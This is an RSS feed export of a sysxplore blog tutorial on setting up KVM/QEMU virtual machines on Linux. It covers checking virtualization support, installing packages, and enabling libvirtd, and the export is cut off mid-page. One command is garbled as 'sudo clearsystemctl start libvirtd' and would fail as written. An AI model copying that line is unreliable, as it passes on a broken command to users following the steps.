<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:googleplay="http://www.google.com/schemas/play-podcasts/1.0"><channel><title><![CDATA[sysxplore]]></title><description><![CDATA[Download my Bash Scripting Handbook on newsletter signup for FREE]]></description><link>https://blog.sysxplore.com</link><image><url>https://substackcdn.com/image/fetch/$s_!dg1-!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F03f31e36-0026-4079-91a9-cceae57906b1_1280x1280.png</url><title>sysxplore</title><link>https://blog.sysxplore.com</link></image><generator>Substack</generator><lastBuildDate>Fri, 12 Jun 2026 16:56:34 GMT</lastBuildDate><atom:link href="https://blog.sysxplore.com/feed" rel="self" type="application/rss+xml"/><copyright><![CDATA[TRÄW🤟]]></copyright><language><![CDATA[en]]></language><webMaster><![CDATA[sysxplore@substack.com]]></webMaster><itunes:owner><itunes:email><![CDATA[sysxplore@substack.com]]></itunes:email><itunes:name><![CDATA[TRÄW🤟]]></itunes:name></itunes:owner><itunes:author><![CDATA[TRÄW🤟]]></itunes:author><googleplay:owner><![CDATA[sysxplore@substack.com]]></googleplay:owner><googleplay:email><![CDATA[sysxplore@substack.com]]></googleplay:email><googleplay:author><![CDATA[TRÄW🤟]]></googleplay:author><itunes:block><![CDATA[Yes]]></itunes:block><item><title><![CDATA[Spin Up Linux Virtual Machines Quickly with KVM Using Cloud Images]]></title><description><![CDATA[When most people start with virtualization, they reach for tools like VirtualBox or VMware.]]></description><link>https://blog.sysxplore.com/p/spin-up-linux-virtual-machines-quickly-with-kvm</link><guid isPermaLink="false">https://blog.sysxplore.com/p/spin-up-linux-virtual-machines-quickly-with-kvm</guid><dc:creator><![CDATA[TRÄW🤟]]></dc:creator><pubDate>Tue, 31 Mar 2026 19:48:23 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/0d16496b-85b4-491f-ba8a-395b601ce5f0_5000x2625.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>When most people start with virtualization, they reach for tools like VirtualBox or VMware.</p><p>You install the software, open the interface, create a new virtual machine, attach an ISO, and go through the operating system installation step by step.</p><p>It works.</p><p>Linux also provides a native virtualization stack built around KVM and QEMU.</p><p>With it, you can work directly with virtual machine disk images and build systems in a faster and more flexible way.</p><p>Instead of performing a full operating system installation each time, you can start from an existing image, prepare it for your environment, and run it as a virtual machine.</p><p>This approach is common in real-world environments where systems need to be created quickly, tested, replaced, or rebuilt without repeating the same installation process each time.</p><p>In this guide, you will use KVM to build a simple lab environment by importing and working with disk images.</p><p>You will go through the process step by step, from preparing the image to creating the virtual machine and accessing it.</p><h2><strong>Checking if your system supports virtualization</strong></h2><p>Before working with KVM, your system needs to support hardware virtualization.</p><p>Most modern CPUs already support it, but it&#8217;s worth verifying.</p><p>Run the following command:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">$ grep -E 'vmx|svm' /proc/cpuinfo</code></pre></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!AhV4!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c150d3e-1d21-46ca-8d7e-d1a3aa14a299_1036x522.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!AhV4!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c150d3e-1d21-46ca-8d7e-d1a3aa14a299_1036x522.png 424w, https://substackcdn.com/image/fetch/$s_!AhV4!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c150d3e-1d21-46ca-8d7e-d1a3aa14a299_1036x522.png 848w, https://substackcdn.com/image/fetch/$s_!AhV4!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c150d3e-1d21-46ca-8d7e-d1a3aa14a299_1036x522.png 1272w, https://substackcdn.com/image/fetch/$s_!AhV4!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c150d3e-1d21-46ca-8d7e-d1a3aa14a299_1036x522.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!AhV4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c150d3e-1d21-46ca-8d7e-d1a3aa14a299_1036x522.png" width="1036" height="522" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5c150d3e-1d21-46ca-8d7e-d1a3aa14a299_1036x522.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:522,&quot;width&quot;:1036,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:144635,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/192757854?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c150d3e-1d21-46ca-8d7e-d1a3aa14a299_1036x522.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!AhV4!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c150d3e-1d21-46ca-8d7e-d1a3aa14a299_1036x522.png 424w, https://substackcdn.com/image/fetch/$s_!AhV4!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c150d3e-1d21-46ca-8d7e-d1a3aa14a299_1036x522.png 848w, https://substackcdn.com/image/fetch/$s_!AhV4!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c150d3e-1d21-46ca-8d7e-d1a3aa14a299_1036x522.png 1272w, https://substackcdn.com/image/fetch/$s_!AhV4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c150d3e-1d21-46ca-8d7e-d1a3aa14a299_1036x522.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This command looks inside /proc/cpuinfo, which contains information about your processor, and searches for specific flags.</p><p>The vmx flag indicates Intel virtualization support, while svm indicates AMD virtualization support.</p><p>If your system supports virtualization, you should see one of these flags in the output, usually repeated across multiple lines.</p><p>For example, you might see something like vmx or svm listed among the CPU features.</p><p>If you only want to confirm support without scrolling through the output, you can return the number of occurrences instead:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">$ egrep -c '(vmx|svm)' /proc/cpuinfo</code></pre></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!j4ai!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b95f09d-4b3f-4d19-9d2a-e22763788770_1036x150.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!j4ai!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b95f09d-4b3f-4d19-9d2a-e22763788770_1036x150.png 424w, https://substackcdn.com/image/fetch/$s_!j4ai!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b95f09d-4b3f-4d19-9d2a-e22763788770_1036x150.png 848w, https://substackcdn.com/image/fetch/$s_!j4ai!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b95f09d-4b3f-4d19-9d2a-e22763788770_1036x150.png 1272w, https://substackcdn.com/image/fetch/$s_!j4ai!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b95f09d-4b3f-4d19-9d2a-e22763788770_1036x150.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!j4ai!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b95f09d-4b3f-4d19-9d2a-e22763788770_1036x150.png" width="1036" height="150" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2b95f09d-4b3f-4d19-9d2a-e22763788770_1036x150.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:150,&quot;width&quot;:1036,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:16606,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/192757854?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b95f09d-4b3f-4d19-9d2a-e22763788770_1036x150.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!j4ai!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b95f09d-4b3f-4d19-9d2a-e22763788770_1036x150.png 424w, https://substackcdn.com/image/fetch/$s_!j4ai!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b95f09d-4b3f-4d19-9d2a-e22763788770_1036x150.png 848w, https://substackcdn.com/image/fetch/$s_!j4ai!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b95f09d-4b3f-4d19-9d2a-e22763788770_1036x150.png 1272w, https://substackcdn.com/image/fetch/$s_!j4ai!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b95f09d-4b3f-4d19-9d2a-e22763788770_1036x150.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>A value greater than 0 confirms that virtualization is supported.</p><p>If these command returns no output, virtualization is either not supported or disabled in the BIOS or UEFI settings. In most cases, it is simply disabled, and you can enable it from your firmware settings under options such as Intel VT-x or AMD-V.</p><ul><li><p>KVM relies on hardware virtualization to run virtual machines efficiently. Without it, you won&#8217;t be able to use KVM as expected.</p></li></ul><h2><strong>Installing the KVM tools</strong></h2><p>KVM itself is part of the Linux kernel.</p><p>What you install are the tools used to create, manage, and interact with virtual machines.</p><p>For this demonstration, I&#8217;m using Fedora 42.</p><p>If you&#8217;re running Fedora or any Red Hat&#8211;based system, you can install the required packages with:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">$ sudo dnf install qemu-kvm libvirt virt-install guestfs-tools genisoimage virt-manager virt-viewer</code></pre></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!f_-9!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80f5a5c1-ad5e-48f3-85a1-8fa300c45e1e_1036x519.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!f_-9!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80f5a5c1-ad5e-48f3-85a1-8fa300c45e1e_1036x519.png 424w, https://substackcdn.com/image/fetch/$s_!f_-9!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80f5a5c1-ad5e-48f3-85a1-8fa300c45e1e_1036x519.png 848w, https://substackcdn.com/image/fetch/$s_!f_-9!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80f5a5c1-ad5e-48f3-85a1-8fa300c45e1e_1036x519.png 1272w, https://substackcdn.com/image/fetch/$s_!f_-9!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80f5a5c1-ad5e-48f3-85a1-8fa300c45e1e_1036x519.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!f_-9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80f5a5c1-ad5e-48f3-85a1-8fa300c45e1e_1036x519.png" width="1036" height="519" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/80f5a5c1-ad5e-48f3-85a1-8fa300c45e1e_1036x519.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:519,&quot;width&quot;:1036,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:157588,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/192757854?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80f5a5c1-ad5e-48f3-85a1-8fa300c45e1e_1036x519.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!f_-9!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80f5a5c1-ad5e-48f3-85a1-8fa300c45e1e_1036x519.png 424w, https://substackcdn.com/image/fetch/$s_!f_-9!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80f5a5c1-ad5e-48f3-85a1-8fa300c45e1e_1036x519.png 848w, https://substackcdn.com/image/fetch/$s_!f_-9!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80f5a5c1-ad5e-48f3-85a1-8fa300c45e1e_1036x519.png 1272w, https://substackcdn.com/image/fetch/$s_!f_-9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80f5a5c1-ad5e-48f3-85a1-8fa300c45e1e_1036x519.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>These packages give you everything needed to work with KVM.</p><p>qemu-kvm provides the virtualization backend, libvirt handles virtual machine management and networking, and virt-install allows you to create virtual machines from the command line.</p><p>The guestfs-tools package includes tools like virt-customize, which you&#8217;ll use later to prepare disk images.</p><p>The remaining tools, such as virt-manager and virt-viewer, provide graphical access if you need it, while genisoimage is useful when working with ISO files.</p><p>If you are using Ubuntu or another Debian-based system, you can install the equivalent tools with:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">$ sudo apt install qemu-kvm libvirt-daemon-system libvirt-clients virtinst libguestfs-tools genisoimage virt-manager virt-viewer</code></pre></div><p>After installation, make sure the libvirtd service is running:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">$ systemctl status libvirtd</code></pre></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!_esa!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1cb4d2f-5bfc-49fb-9b15-be7a4f53fc95_1036x558.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!_esa!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1cb4d2f-5bfc-49fb-9b15-be7a4f53fc95_1036x558.png 424w, https://substackcdn.com/image/fetch/$s_!_esa!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1cb4d2f-5bfc-49fb-9b15-be7a4f53fc95_1036x558.png 848w, https://substackcdn.com/image/fetch/$s_!_esa!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1cb4d2f-5bfc-49fb-9b15-be7a4f53fc95_1036x558.png 1272w, https://substackcdn.com/image/fetch/$s_!_esa!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1cb4d2f-5bfc-49fb-9b15-be7a4f53fc95_1036x558.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!_esa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1cb4d2f-5bfc-49fb-9b15-be7a4f53fc95_1036x558.png" width="1036" height="558" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d1cb4d2f-5bfc-49fb-9b15-be7a4f53fc95_1036x558.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:558,&quot;width&quot;:1036,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:128733,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/192757854?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1cb4d2f-5bfc-49fb-9b15-be7a4f53fc95_1036x558.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!_esa!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1cb4d2f-5bfc-49fb-9b15-be7a4f53fc95_1036x558.png 424w, https://substackcdn.com/image/fetch/$s_!_esa!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1cb4d2f-5bfc-49fb-9b15-be7a4f53fc95_1036x558.png 848w, https://substackcdn.com/image/fetch/$s_!_esa!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1cb4d2f-5bfc-49fb-9b15-be7a4f53fc95_1036x558.png 1272w, https://substackcdn.com/image/fetch/$s_!_esa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1cb4d2f-5bfc-49fb-9b15-be7a4f53fc95_1036x558.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>If it is not running, start and enable it:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">$ sudo clearsystemctl start libvirtd
$ sudo systemctl enable libvirtd</code></pre></div><p>To manage virtual machines without using sudo, add your user to the libvirt group:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">$ sudo usermod -aG libvirt $USER</code></pre></div><p>Instead of logging out and back in, you can apply the change immediately with:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">$ newgrp libvirt</code></pre></div><p>The newgrp command allows you to switch your current session to a new group without logging out, so the updated permissions take effect right away.</p><p>If you prefer not to modify group membership, you can run the commands as root or continue using sudo.</p><blockquote><p>If your user is not part of the libvirt group, you may run into permission errors when creating or managing virtual machines.</p></blockquote><p>Now that the tools are installed, the next step is to get a disk image that we can use to build our lab.</p><div><hr></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!KgYn!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b7ffa64-ac4a-401e-bbc9-c65cecc0fa43_1200x630.heic" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!KgYn!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b7ffa64-ac4a-401e-bbc9-c65cecc0fa43_1200x630.heic 424w, https://substackcdn.com/image/fetch/$s_!KgYn!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b7ffa64-ac4a-401e-bbc9-c65cecc0fa43_1200x630.heic 848w, https://substackcdn.com/image/fetch/$s_!KgYn!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b7ffa64-ac4a-401e-bbc9-c65cecc0fa43_1200x630.heic 1272w, https://substackcdn.com/image/fetch/$s_!KgYn!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b7ffa64-ac4a-401e-bbc9-c65cecc0fa43_1200x630.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!KgYn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b7ffa64-ac4a-401e-bbc9-c65cecc0fa43_1200x630.heic" width="1200" height="630" 